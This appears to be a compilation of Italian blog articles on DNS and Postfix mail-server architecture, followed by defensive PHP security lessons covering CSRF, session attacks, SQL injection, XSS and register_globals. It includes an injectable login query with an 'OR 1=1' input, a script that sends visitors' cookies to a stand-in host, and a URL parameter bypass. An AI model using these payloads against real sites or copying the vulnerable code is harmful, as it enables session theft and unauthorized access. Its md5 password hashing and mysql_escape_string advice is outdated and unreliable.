Sebbene nella fase di configurazione ed installazione del nostro MTA non c’è alcune bisogno di conoscere come funziona il mondo dei DNS (Domain name system) , diviene cruciale durante la fase di risoluzione dei problemi quando si comincia a notare che alcuni messaggi sebbene scritti ed indirizzati correttamente non arrivano al destinatario.

Spesse volte infatti il problema sta proprio nell’incapacità del nostro mail server di trovare l’host remoto di riferimento o viceversa.

I DNS adottano una struttura specifica ovvero quella di un database gerarchico distribuito. In questo modo che non c’è necessità che un server mantenga tutti i record esistenti, ma solo alcuni.

I sistemi che mantengono questi database si dicono DNS Server.

Per un client l’operazione di ottenere l’IP associato ad un nome è semplice, basta interrogare il server DNS a lui più vicino, solitamente quello fornito dal nostro Internet Service Provider, e questo restituirà il corretto indirizzo IP.

Come accennato in precedenza non è detto che il server interrogato abbia la risposta, ma tramite dei protocolli atti alla comunicazione fra DNS server al nostro host verrà consegnata una risposta.

La struttura DNS è una struttura gerarchica dove al livello superiore esistono dei domini relativi ai codici di nazione:

• .it (italia)
• .com (U.S.A organizzazioni commerciali)
• .org (U.S.A organizzazioni no-profit)
• .nl (olanda)
• .de (germania)

e così via.

A loro volta i domini di primo livello sono divisi in più zone, detti anche sotto-domini.

All’interno di una zona possono esistere host diversi.

La gerarchia non si ferma a tre livelli, ma può scendere teoricamente all’infinito.

Ecco un esempio di come si sviluppa tale gerarchia:

Descriviamo ora tre possibili scenari che possono verificarsi quando si cerca di risolvere un nome in un IP univoco:

1. Un pc che vuole comunicare con un altro nella stessa zona interroga il server DNS di zona locale, e questo fornisce la risposta direttamente all’host locale. E’ ovvio che il DNS server dovrebbe avere l’informazione relativa all’indirizzo IP della macchina destinatario.
2. Nel caso in cui un pc presente in una zona volesse comunicare con un pc presente in una zona differente, interroga comunque il DNS server della propria zona. Il DNS server chiamato in causa realizza che la chiamata riguarda un host presente in una zona diversa, interpella quindi il DNS server presente ad un livello superiore ed attende una risposta da questo DNS “padre”. Così si risale fino alla cima nel caso in cui nessun DNS interpellato sia a conoscenza del nome cercato. A questo punto il DNS padre scende all’interno dell’albero fino a raggiungere il DNS responsabile della zona ricercata. Rintracciato l’IP del nome cercato viene restituita la risposta al DNS responsabile della zona dell’host chiamante che la fornisce a sua volta all’host stesso. Ovviamente tutti i server DNS adottano una politica di caching (basata su un Time To Live configurabile) degli indirizzi in modo tale che non è necessario ad ogni interrogazione attraversare la gerarchia del sistema DNS per fornire la risposta corretta. Il problema che ne deriva è che non sempre il cambio di IP per un nome host viene digerito istantaneamente da tutto il sistema DNS, quindi è necessario attendere almeno 24/48 ore
3. Il terzo esempio riguarda proprio il classico metodo di caching dei server DNS. Supponiamo che come nell’esempio precedente il nostro host richiede l’ip di un nome presente in una zona diversa. Viene interpellato il DNS server di zona, il quale controlla nella propria cache. Se esiste l’ip dell’host ricercato ed il TTL non è ancora scaduto allora viene ritornato direttamente l’indirizzo IP dell’host remoto . In caso contrario si risale la gerarchia come è stato spiegato nel punto precedente.

All’interno dei DNS server vengono immagazzinati numerose migliaia di record (IP → host) che si distinguono per tipologia, ecco le più importanti:

• A → Indirizzo Internet
• NS → Nome del server
• CNAME → nickname o Common Name
• MX → Mail exchanger (server di posta)
• PTR → puntatore al nome dominio (risoluzione inversa dato l’ip restituisce il nome)
• SOA →Start of Authority (gestione della zona)

Ecco un esempio di record DNS:

Per concludere l’articolo vediamo come viene rintracciato un mail server all’interno della rete internet rispecchiando l’esempio della ricerca dei nomi trattato in precedenza:

1. Se Si cerca un server di posta presente nella stessa zona, si interroga il DNS server locale che avrà un record MX con un indirizzo IP associato presente nella stessa zona, viene così restituito il corretto indirizzo
2. Si cerca un server di posta in una zona diversa da quella locale. Si interroga il DNS server locale, il quale interroga il DNS server padre, che risale la scala gerarchica e poi scende fino alla zona corretta, a questo punto viene rintracciato il record MX di riferimento e l’indirizzo IP viene restituito al DNS server di zona dell’host richiedente
3. Anche i record MX vengono messi in cache per un TTL pre-configurato, è quindi possibile che durante la fase di interrogazione di un server DNS locale per trovare un server di posta non di zona questo risponda immediatamente nel caso in cui tale record sia presente in cache.

Divideremo questa nostra ispezione in 3 fasi, ovvero analizzeremo:

• la gestione della ricezione di un messaggio
• analisi  e scansione di un messaggio
• la gestione della consegna di un messaggio

Partiamo con la fase di ricezione, innanzitutto un messaggio può essere ricevuto da un utente locale in due modi:

• da un altro utente locale
  • sendmail: questo programma invia i messaggi degli utenti locali verso la coda Postfix
  • postdrop: questo programma viene utilizzato per sicurezza, al fine di non consentire  l’accesso alla cartella maildrop a tutti gli utenti. Una soluzione infatti è quella di generare un gruppo specifico per i messaggi maildrop e lasciare che solo il programma postdrop vi possa accedere per consegnarvi i messaggi.

• da un utente(host) remoto, via SMTP
  • smtpd: questo programma riceve messaggi tramite il protocollo SMTP da altri host remoti. Ecco un esempio di sessione SMTP (S server C client o host remoto)

                S: 220 smtp.example.com ESMTP Postfix
	   	C: HELO relay.example.org
	  	S: 250 Hello relay.example.org, I am glad to meet you
	   	C: MAIL FROM:<bob@example.org>
		S: 250 Ok
		C: RCPT TO:<alice@example.com>
		S: 250 Ok
		C: RCPT TO:<theboss@example.com>
		S: 250 Ok
		C: DATA
		S: 354 End data with <CR><LF>.<CR><LF>	
		C: From: "Bob Example" <bob@example.org>
		C: To: "Alice Example" <alice@example.com>
		C: Cc: theboss@example.com
		C: Date: Tue, 15 Jan 2008 16:02:43 -0500
		C: Subject: Test message
		C:	
		C: Hello Alice.
		C: This is a test message with 5 header fields and 4 lines in the message body.
		C: Your friend,
		C: Bob
		C: .
		S: 250 Ok: queued as 12345
		C: QUIT
		S: 221 Bye
		{The server closes the connection}

• • pickup: tale programma monitora la coda maildrop. Quando un messaggio arriva in questa directory il programma pickup lo legge e lo invia al programma cleanup perchè lo processi.

Quando un messaggio è arrivato c’è una fase in cui questo viene “scansionato” al fine di capire se i suoi header sono in un formato standard e le informazioni ivi contenute sono consone al sistema in questione. Ecco pi programmi che concorrono in questa fase di “analisi” del messaggio:

• cleanup: quando un messaggio viene ricevuto dal processo sendmail o smtpd, cleanup controlla che gli indirizzi espressi nell’header del messaggio siano in un formato consono e che tale e-mail possa essere gestita dal sistema. Il formato del messaggio deve essere conforme allo standard RFC 822, ecco il link per maggiori informazioni:
  • http://datatracker.ietf.org/doc/rfc822/

  Oltre alla conformità allo standard clenaup controlla che l’indirizzo di destinazione sia uno fra quelli contemplati all’interno del sistema

  Nel caso in cui un messaggio venga “scartato” da cleanup allora questo viene messo nella coda corrupted, mentre se tutto è corertto tale e-mail viene inviata alla coda incoming

• trivial-rewrite: questo programma viene utilizzato nel caso in cui un indirizzo presente nell’header non sia in FQDN (Fully Qualified Domain Name), ecco nel dettaglio le possibili riscritture:
  • Rimuove ogni informazione di instradamento dall’header
  • Converte l’indirizzo in formato UUCP host!user in user@host
  • Converte l’indirizzo in formato UUCP user%domain in user@domain
  • Converte user (ottenedo le informazioni dell’host locale) in user@host
  • Converte user@host in user@host.domain
  • Converte user@site. Indirizzo in user@site

  Una volta che un messaggio viene riscritto, viene ritornato al programma cleanup

• qmgr: solo quando un messaggio è stato riscritto e posizionato nella coda incoming allora il programma in questione assicura che tale messaggio venga trasferito verso la corretta destinazione, sostanzialmente sposta il messaggio dalla coda incoming verso la coda active .A questo punto qmgr passa il messaggio a uno dei seguenti programmi in base alle informazioni contenute nell’header del messaggio recapitato:
  • local
  • smtp
  • pipe

Siamo ora alla fase finale, ovvero la consegna del messaggio. Ecco i programmi che concorrono in questa ultima fase di gestione del nostro sistema:

• local: come si può già evincere dal nome tale programma raccoglie i messaggi provenienti da qmgr e li indirizza al corretto utente locale
• smtp: in questo caso l’utente non è locale ma remoto, a questo punto si utilizza il protocollo SMTP per l’invio del messaggio attraverso la rete
• pipe: questo programma invia il messaggio in questione verso altri sistemi di gestione e-mail del sistema locale
• bounce: tale programma gestisce quei messaggi che sono stati scartati (termine tecnico rejected → rigettati) per qualsiasi motivo. Il messaggio viene poi re-indirizzato al mittente con una spiegazione di cosa non è andato a buon fine. Infine il messaggio originale viene inserito nella coda deferred che verrà poi processata da qmgr, cosi come processa la coda incoming

Il sito di riferimento e le mailing list di punta riguardanti il software oggetto di questa serie di articoli è http://www.postfix.org

Il programma MTA gestisce i messaggi che entrano o escono dal sistema utilizzando diversi programmi modulari e sistemi di code all’interno di directory. Ogni programma o modulo processa i messaggi che transitano da una coda all’altra fino a che arrivano alla loro destinazione finale.

Nel caso in cui il sistema dovesse crollare Postfix è in grado di ricordare quale era stato l’ultimo messaggio all’interno di una determinata coda ad essere stato gestito con successo, e quindi riparte da quello successivo senza alcuna perdita di dati.

Postfix è stato sviluppato con l’intenzione di fornire un elevato livello di:

• sicurezza
• performance
• affidabilità

Il solo software fornito da postfix non è sufficiente per creare un vero e proprio Unix mail Server. Al fine di “comporre” un sistema, postfix si deve interfacciare con altre applicazioni, come:

• Protocollo TCP/IP (connessioni via LAN o modem PPP) o UUCP (Modem dial-Up) , al fine di raggiungere anche gli host remoti.
• MUA (Mail User Agent) di cui abbiamo già parlato (POP3 ed IMAP) che permettono agli utenti di consultare le proprie caselle di posta remote

Il sistema Postfix è composto da un insieme di directory, adibite alle code dei messaggi e da programmi eseguibili che le gestiscono, eccone un elenco per categoria:

• Programmi “Core”:
  • Esiste un programma che viene eseguito in background e che rimane sempre in esecuzione durante l’attività di postfix. Questo programma è master che è in grado di generare programmi capaci di gestire e scansionare le varie code al fine di permettere un corretto instradamento dei messaggi di posta, Gli altri programmi che girano in background sono:
    • qmgr
      • è responsabile del sistema centrale di smistamento dei messaggi
    • pickup
      • determina quando un messaggio è disponibile per essere instradato dal sistema postfix

    Oltre a questi due programmi ne esistono altri che formano il core di Postfix:

    • bounce
      • invia un log alla coda dei messaggi bounce e lo re-invia al mittente
    • cleanup
      • analizza gli hedaer di un messaggio e lo pone nella coda incoming
    • error
      • processa i messaggi provenienti da qmgr e ne forza il bounce (letteralmente rimbalzo)
    • local
      • Trasporta i messaggi verso gli utenti locali
    • pipe
      • sposta i messaggi dal programma di gestione delle code verso programmi esterni
    • postdrop
      • sposta un messaggio in arrivo verso la coda maildrop quando questa non è accessibile dagli utenti “normali”
    • showq
      • mostra lo stato delle code Postfix
    • smtp
      • SMTP client che invia i messaggi verso host esistenti attraverso il protocollo SMTP
    • smtpd
      • SMTP server che riceve messaggi da host esterni utilizzando il protocollo SMTP
    • trivial-rewrite
      • riceve messaggi da cleanup al fine di assicurare che gli indirizzi presenti nell’header del messaggio siano in una forma consentita o meglio standard.
• Code di messaggi :
  • Diversamente da altri MTA Postfix utilizza più code per la gestione delle e-mail

Nel dettaglio:

• maildrop: accoglie nuovi messaggi ricevuti dagli utenti locali
• incoming: accoglie nuovi messaggi ricevuti dagli host remoti, così come quelli già processati ricevuti dagli utenti locali
• active: accoglie messaggi pronti per essere consegnati da Posftix
• deferred: accoglie messaggi che hanno fallito il primo tentativo di consegna e attendono per una nuova opportunità di invio
• mail: messaggi consegnati e pronti per essere letti dagli utenti locali

• Programmi di utilità
  • Oltre ai programmi “core” esistono anche delle utilità che possono essere sfruttate dagli amministratori di sistema per manipolare e consegnare messaggi, eccone l’elenco completo:
    • mailq: controlla la code di Postfix e ne mostra il risultato
    • postalias: crea, aggiorna o interroga il database alias di Postfix
    • postcat: mostra i contenuti dei file presenti in una determinata coda
    • postconf: mostra e modifica le righe di configurazione del file main.cf
    • postfix: controlla le fasi di avvio, spegnimento e riavvio del sistema Postfix
    • postkick: invia comandi richiesti dai servizi Postfix in esecuzione
    • postlock: blocca un determinato file di Postfix ed esegue un comando
    • postlog: logga un messaggio a livello di sistema utilizzando lo stile di logging di Postfix
    • postmap: crea o interroga una tabella di lookup
    • postsuper: manutiene una specifica diirectory (coda)
    • sendmail: fornisce una interfaccia simile a quella di sendmail al fine di inviare messaggi alla coda maildrop
• File di configurazione:
  • i file di configurazione contengono informazioni utilizzate poi dal programma durante la gestione dei messaggi. Postfix rispetto ad altri MTA, lascia la possibilità agli amministratori di modificare i file di configurazione e poi rendere attive le modifiche senza fermare il servizio.Ecco i file di configurazione di Postfix:
    • install.cf: contiene le informazioni utilizzate dal programma durante la fase di installazione
    • main.cf: contiene i parametri utilizzati dai programmi postfix quando gestiscono i messaggi
    • master.cf: contiene i parametri utilizzati dal programma master quando esegue i programmi “core”
• Tabelle di controllo/configurazione:
  • le tabelle di lookup vengono generate dagli amministratori di sistema per gestire la consegna dei messaggi all’interno del sistema Postfix, eccone un elenco:
    • access: mappa determinati host SMTP al fine di accettarne o scartarne i messaggi
    • aliases: mappa indirizzi alternativi rispetto a mailbox locali
    • canonical: mappa nomi di mailbox alternative rispetto a mailbox reali presenti negli header dei messaggi
    • relocated: mappa nomi di vecchie mailbox verso il nuovo nome
    • transport: mappa nomi di dominio e tipologie di consegna per host remoti
    • virtual: mappa domini e indirizzi verso mailbox locali per il trasporto

Partiamo dal primo sistema creato per scambiarsi messaggi elettronici, ovvero un mainframe atto alla comunicazione ed allo scambio di messaggi fra persone. In questo caso i due interlocutori dovevano essere connessi fisicamente e nello stesso momento tramite due terminali al mainframe per potersi scambiare informazioni elettroniche.

Col tempo nacque la necessità di permettere ai messaggi di rimanere all’interno di un sistema di storage, sia per essere consultati in modo asincrono dai vari utenti che per mantenere alcune informazioni preziose nel sistema.

L’ultima evoluzione in questo campo è stata la capacità di collegare fisicamente fra loro mainframe differenti, in modo tale da permettere a utenti dislocati anche in settori diversi e con terminali allocati a calcolatori differenti di comunicare fra loro.

I sistemi E-mail Unix rispetto ai mainframe appena citati utilizzavano ed utilizzano tuttoggi un approccio molto più modulare, ogni porzione del sistema di scambio messaggi viene gestito da un modulo separato. Di seguito tutti i moduli che costituiscono un mail-server unix:

• e-mail database
• MUA (Mail User Agnet) → Interfaccia per l’utente finale
• MDA (Mail Delivery Agent) → Responsabile della consegna presso l’utente locate del messaggio di posta
• MTA (Mail Transfert Agent) → E’ il responsabile dell’invio di un messaggio verso un account non locale ma remoto. E’ il modulo su cui si concentra tutto il libro

Per ogni modulo esistono diversi prodotti a livello software nel mondo Unix, eccone alcuni:

• MTA
  • Sendmail (http://www.sendmail.org)
  • Qmail (http://www.qmail.org)
  • Postfix (Oggetto di questa serie di articoli)
  • smail
• MUA
  • mail
  • pine

Nella ultima parte di questo corposo articolo accennerò ad alcuni dei protocolli più comuni nel mondo e-mail. Tutti questi sistemi verranno approfonditi nei successivi articoli.

Uno dei protocolli più famosi a livello MTA ed ormai un standard de-facto è SMTP Simple Mail Transfer Protocol, sviluppato proprio per spedire messaggi attraverso la rete internet

Di seguito nell’immagine è utile apprezzare come funzione una comunicazione SMTP:

A livello MUA esistono due protocolli che la fanno da padrone:

• POP3, ovvero Post Office Protocol. In questo caso i messaggi vengono sempre scaricati dalla mailbox remota verso il programma di gestione e-mail locale, portando la cancellazione delle e-mail remote.
• IMAP, ovvero Interactive Mail Access Protocol. In questo caso i messaggi risiedono sempre sul server remoto, e vengono scaricati solo per la fase di visualizzazione degli stessi

Questo nuovo elenco di discussioni si basa sulla lettura del libro:

• Postfix della SAMS Publishing scritto da Richard Blum e pubblicato per la prima volta nel Maggio 2001.

Ho scelto di pubblicare degli articoli relativi a questo libro sia per analizzare più a fondo alcuni concetti fondamentali, riuscendo magari a far nascere qualche commento di interesse e poi per far vedere agli utenti non tecnici cosa c’è “dietro” al servizio di invio/ricezione dei messaggi di posta elettronica. Un servizio che nell’ultimo decennio è cresciuto esponenzialmente diventando ormai uno degli strumenti di comunicazione più utilizzati sia a livello personale che lavorativo.

Come sarete ormai abituati seguirò fedelmente il percorso del libro, andando ad enfatizzare alcuni concetti rilevanti.

Il libro si suddivide i 3 macro sezioni:

 
• Parte introduttiva relativa ai servizi che stanno alla base del sistema di invio/ricezione e-mail e di Postfix

1. 1. Servizi alla base del sistema di e-mailing
   2. Servizi che caratterizzano Postfix
   3. Requisiti di sistema di Postfix
   4. Risoluzione dei nomi e Postfix
   5. SMTP e Postfix 

Per questa sezione spenderò cinque articoli all’interno dei quali parlerò di:

• La parte centrale si concentra sulle fasi di installazione e configurazione del servizio.In questa parte, che è poi la più corposa si darà spazio a 11 articoli:

1. Installare Postfix
2. Analisi del file di configurazione master.cf
3. Analisi del file di configurazione main.cf
4. Tabelle di Lookup in Postfix
5. Utilizzo di Postfix
6. Utilizzo di Postfix come un Mail Server ISP (Internet Service Provider)
7. Utilizzare postfix come un Mail Server d’ufficio
8. Amministrazione di un server Postfix
9. M9igrazione da Sendmail a Postfix
10. Utilizzare il Formato Maildir per le caselle di posta
11. Sftruttare programmi MDA (Mail Delivery Agent) con Postfix

• L’ultima parte tratta alcune opzioni avanzate del sistema postfix, come l’analisi delle performance e la gestione degli errori.Ecco l’insieme di articoli che caratterizzerà questa terza ed ultima parte:

1. Utilizzare Mysql con Postfix
2. Utilizzare OpenLDAP con Postfix
3. Utilizzare Majordomo con Postfix
4. Utilizzare POP3 e IMAP con Postfix
5. Utilizzare SqWebMail con Postfix
6. Analisi delle prestazioni di Postfix
7. Problemi ricorrenti e comuni relativi a Postfix

Non si può concludere un capitolo introduttivo ad un capitolo senza alcuni cenni all’autore.

Rich Blum ha lavorato nei 12 anni precedenti la pubblicazione di questo libro come amministratore di rete e di sistema al dipartimento della difesa degli Stati Uniti, venendo a contatto con sistemi UNIX come:

• FTP server
• mail server
• sistemi di monitoraggio della rete

all’interno di sistemi di dimensione elevata.

Per quanto riguarda gli strumenti crittografici messi a disposizione da PHP ci sono:

• md5() → restituisce un numero esadecimale di 32 caratteri data una stringa
• md5_file() → fa la stessa cosa del comando precedente con un file in input
• sha1() → genera l’hash sha1 di una stringa restituendo un numero esadecimale di 40 caratteri
• sha1_file() → fa la stessa cosa del comando precedente con un file in input
• crypt() → calcola l’hash di una stringa sfruttando algoritmi differenti in base al sistema operativo ospitante

Per utilizzare le funzioni di cifratura vere e proprie si deve utilizzare il modulo mcrypt, che supporta molti degli algoritmi di cifratura:

• DES
• TripleDES
• BLOWFISH
• AES
• etc…

Le funzioni da utilizzare in questo caso sono mcrypt_encrypt() e mcrypt_decript().

Non entro nel merito di come utilizzare tali funzioni, per maggiori informazioni è possibile consultare il sito ufficiale PHP alla pagina http://www.php.net/manual/en/function.mcrypt-module-open.php dove c’è n esempio di utilizzo della funzione in questione.

In questo ultimo articolo relativo alla sicurezza del programma PHP presento un elenco di strumenti atti al controllo e alla valutazione della sicurezza di una applicazione. Ecco l’elenco:

• PHP Security Scanner → http://sourceforge.net/projects/securityscanner/ , esegue la scansione di file/directory. E’ composto da due moduli, uno script php ed un db Mysql all’interno del quale sono presenti i pattern noti per analizzare il codice.
• Pixy → http://pixybox.seclab.tuwien.ac.at/pixy scritto in Java analizza codice PHP per verificare possibili vulnerabilità di tipo SQLInjection e XSS
• PHP-sat → http://www.program-transformation.org/PHP/ , analizza il codice in base ad un insieme di pattern
• PHP-front → http://strategoxt.org/PHP/PhpFront , analisi statica del codice
• PHP-tools → http://strategoxt.org/PHP/PhpTools , simile a quello precedente
• PHP String Analyzer → http://www.score.is.tsukuba.ac.jp/~minamide/phpsa/, simile ai due precedenti
• Suhosin → http://www.hardened-php.net/suhosin/index.html ,strumento di hardening (messa in sicurezza) di applicazioni PHP

In questo modo un hacker, contraffacendo la sessione di un utente può utilizzare la credenziali del malcapitato per eseguire delle operazioni in un’area privata , come un e-commerce per esempio.

Innanzitutto questa tecnica di attacco colpisce solo gli utenti che sono in un tale momento connessi ed autenticati.

Esiste comunque un metodo per rendere più complicato l’attacco CSRF , ovvero l’utilizzo di un token, generato pseudo-casualmente ed inserito nella variabile di sessione al momento della avvenuta autenticazione.

Tale valore dovrà poi essere presente in ogni pagina “privata” permettendo un confronto ad ogni visualizzazione fra il valore nella variabile sessione ed il valore della pagina corrente.

Quindi ogni pagina privata avrà un campo hidden del tipo:

<input type=’hidden’ name=’token’ value=’<?php echo $token ?>’/>

e a ogni caricamento di una pagina privata, prima di eseguire qualsivoglia operazione verrà eseguito un controllo del tipo:

if (isset ($_SESSION['token']) && isset($_POST['token']) && $_POST['token'] == $_SESSION['token']){

// Eseguo le operazioni della area riservata dato che il token è valido

}

Un altro attacco cui sono sottoposte le sessioni è il “session fixation”. In questo caso un utente potrebbe con l’utilizzo della variabile PHPSESSID forzare la propria sessione con una già esistente e associata ad un altro utente. Per superare questo inconveniente sarebbe innanzitutto conveniente cambiare il valore di default del cookie di sessione (da PHPSESSID a qualcos’altro ) e rigenerare in modo assiduo il valore della sessione con la funzione regenerate_id() soprattutto in fase di autenticazione

Session hijacking è un attacco grazie al quale un attaccante riesce a reperire l’ID di sessione di un malcapitato. In questo caso il controllo è più complicato, ma esistono delle tecniche di protezione che limitano l’efficacia di questo attacco. Per esempio se il server che emette la variabile di sessione controllasse anche l’ HTTP_USER_AGENT del client, nel caso in cui questo cambiasse durante una sessione, allora la sessione dovrebbe chiudersi e richiedere il login all’utente.

Purtroppo se l’attaccante sfrutta il medesimo browser il nostro controllo verrà superato.

Un tipico attacco verso un database è molte volte viene portato tramite una tecnica detta “SQL Injection” in cui si cerca di modificare una query legittima per reperire dati altrimenti inaccessibili o per ottenere privilegi superiori a quelli consentiti.

Di seguito viene riportato un esempio di questo attacco:

Form di autenticazione:

<form method=’POST’ action=’login.php’>

Username: <input type=’text’ name=’username’ /> <br />

Password: <input type=’password’ name=’password’ /> <br />

<input type=’submit’ value=’login’>

</form>

Script login.php:

$username=$_POST['username'];

$password=$_POST['password'];

$sql = ‘SELECT * FROM utenti WHERE username=’ . $username . ‘ AND password=’ . $password . ‘ ‘;

// connessione al database e valutazione del risultato

if (count($result)> 0){

// Login avvenuto con successo

}

Cosa accadrebbe se un utente nel campo nome utente inserisse:

$username OR 1=1

Siccome il costrutto OR 1=1 da sempre esito positivo, l’utente in questione anche se non è a conoscenza della password e del nome utente può accedere tranquillamente all’area riservata.

Per arginare questo tipo di “Injection” è sufficiente controllare il formato delle variabili immesse dall’utente. Nell’esempio precedente sarebbe necessario utilizzare una funzione *_escape_string() per eliminare il problema, ecco il dettaglio (caso di DBMS Mysql):

$username=mysql_escape_string($_POST['username']);

$password=md5(mysql_escape_string($_POST['password']));

Un altro modo per attaccare sistemi web e database correlati è quello di inondarlo di registrazioni, in modo tale da renderlo più pesante e quindi meno fruibile.

Ovviamente questo tipo di attacco si sposa con siti web che forniscono agli utenti la possibilità di registrarsi liberamente.

Esistono in questi casi script generati ad-hoc in grado di eseguire un numero considerevole di registrazioni in poco tempo, dato che sono in grado di compilare le form di attivazione in modo automatico.

Un metodo per difendersi da questo floodingdi richieste sta nel test CAPTCHA . Tale test, il cui significato è Completely Automated Public Turing test to tell Computers and Human Apart non permette la registrazione automatica perché costringe l’utente in fase di inserimento dati a estrapolare una frase seminascosta in un immagine, eccone un esempio:

Esempio di test CAPTCHA

La bontà del test sta nella capacità di nascondere le lettere ad una “macchina” ma non ad una persona. Il metodo in questione non è infallibile, la sua integrità viene avvalorata dalla accuratezza con cui le immagini vengono generate.

Maggiori dettagli si possono trovare al sito ufficiale http://www.captcha.net/

Il caso del controllo dati immessi dall’utente finale è forse uno di quei passaggi necessari ed obbligatori per ogni linguaggio di programmazione affinché una porzione di codice o un intero applicativo si possano considerare perlomeno attendibili.

Come avevamo già specificato per il linguaggio Javascript anche per PHP i concetti da seguire sono i medesimi.

In particolare tutti i dati provenienti da variabili $_POST, $_GET o $_COOKIE sono da considerarsi insicuri e quindi prima di essere processati devono essere esaminati e controllati con cura.

Il linguaggio fornisce molti metodi per il controllo dati immessi, di seguito un elenco:

• filter_has_var → controlla se una variabile di un determinato tipo esiste
• filter_id → restituisce l’identificativo associato al nome di un filtro
• filter_input_array → filtra un insieme di variabili date in input tramite un vettore
• filter_input → filtra il contenuto di una variabile in input
• filter_list → restituisce una lista di tutti i filtri supportati
• filter_var_array → filtra un insieme di variabili specificate tramite un vettore
• filter_var → filtra il contenuto di una variabile
• htmlentities → converte una stringa in entità HTML
• htmlspecialchars → converte i caratteri speciali di una stringa in entità HTML
• urlencode → converte una stringa perchè possa essere utilizzata come indirizzo URL
• *_escape_string → insieme di funzioni specifiche per l’escaping di una stringa in base alla destinazione d’uso (*)
  • Per esempio mysql_escape_string permette di formattare correttamente una stringa contente codice SQL. Può essere utilizzato per evitare attacchi di tipo SQL Injection.

Maggiori dettagli rispetto alle funzioni di controllo dati input possono trovarsi sul sito ufficiale del linguaggio PHP http://www.php.net

Vediamo ora un esempio su come sfruttare il controllo dati input per bloccare delle minacce.

Supponiamo di avere una form di inserimento dati ed un campo textarea. Cosa accadrebbe se un utente in questa textarea inserisse tale codice:

<script>

document.localtion =”http://tiruboilcookie.org/getcookies.php?cokkies=” + document.cookie;

</script>

Tutti coloro che visualizzeranno tale documento invieranno il loro cookie allo script getcookies del sito tiruboilcookie.org il cui intento è direi abbastanza esplicito.

Un semplice filtro sui dati immessi nella textarea potrebbe facilmente evitare questi attacchi

In PHP è possibile attivare l’opzione register_globals nel file di configurazione generale. Tale opzione permette di impostare le variabili provenienti da querystring, form e sessioni come variabili globali.

Questo atteggiamento può essere molto pericoloso dato che permette ad un attaccante di modificare qualsiasi variabile dello script PHP.

Supponiamo che esista una procedura di controllo della avvenuta autenticazione di questo tipo:

if (controlloLogin()){

$loggato = 1;

}

if ($loggato){

// eseguo tutte le operazioni come utente abilitato

}

Con l’opzione register_globals attivata un attaccante potrebbe acquisire i privilegi di utente autenticato semplicemente inserendo una variabile nella url in questo modo:

… login.php?loggato=1

Dalla versione 4.2 di PHP tale funzione è disabilitata di norma, ma comunque vale sempre la pena controllare che non sia attiva su siti in produzione.

E’ comunque utile precisare sin dall’inizio che di per se PHP si configura come un linguaggio con un buon livello di sicurezza intrinseco.

Partiamo comunque dalla gestione degli errori, il linguaggio in questione fornisce vari livelli di avviso per l’utente, eccoli di seguito:

• Compile-time errors → errori di compilazione, non intercettabili a livello applicativo
• Fatal errors → errori fatali che bloccano l’esecuzione di uno script
• Recoverable errors → errori “recuperabili” che sono comunque bloccanti e vengono intercettati a livello applicativo
• Warnings → errori non bloccanti, comunque recuperabili
• Notices → errori informativi non sempre significativi

Ricapitolando gli unici errori che possono essere visualizzati a livello applicativo sono gli ultimi tre dell’elenco. Seppure sia molto utile durante la fase di sviluppo visualizzare tutti questi messaggi di errore, in fase di produzione potrebbe rilevare alcune vulnerabilità che alcuni “attaccanti” potrebbero sfruttare.

Dalla versione 5 di PHP è stato introdotto il costrutto try-trow-catch , struttura che tra l’altro abbiamo già incontrato nell’articolo http://poyblog.wordpress.com/2010/04/14/sicurezza-del-linguaggio-javascript-strumenti-di-difesa/

Il funzionamento è più o meno il medesimo, ovvero all’interno del blocco try si cerca di eseguire il codice, che può abilitare alcune eccezioni “guidate” con l’istruzione throw . Le eccezioni vengono poi rimandate e gestite con l’istruzione cacth.

Ecco un esempio:

try{

$valore = 0;

if($valore == 0)

trow new Exception(”Divisione per 0′);

else

$inverso = 1/$inverso;

}

catch(Exception $e){

echo “Eccezione intercettata: ”, $e, “\n”;

}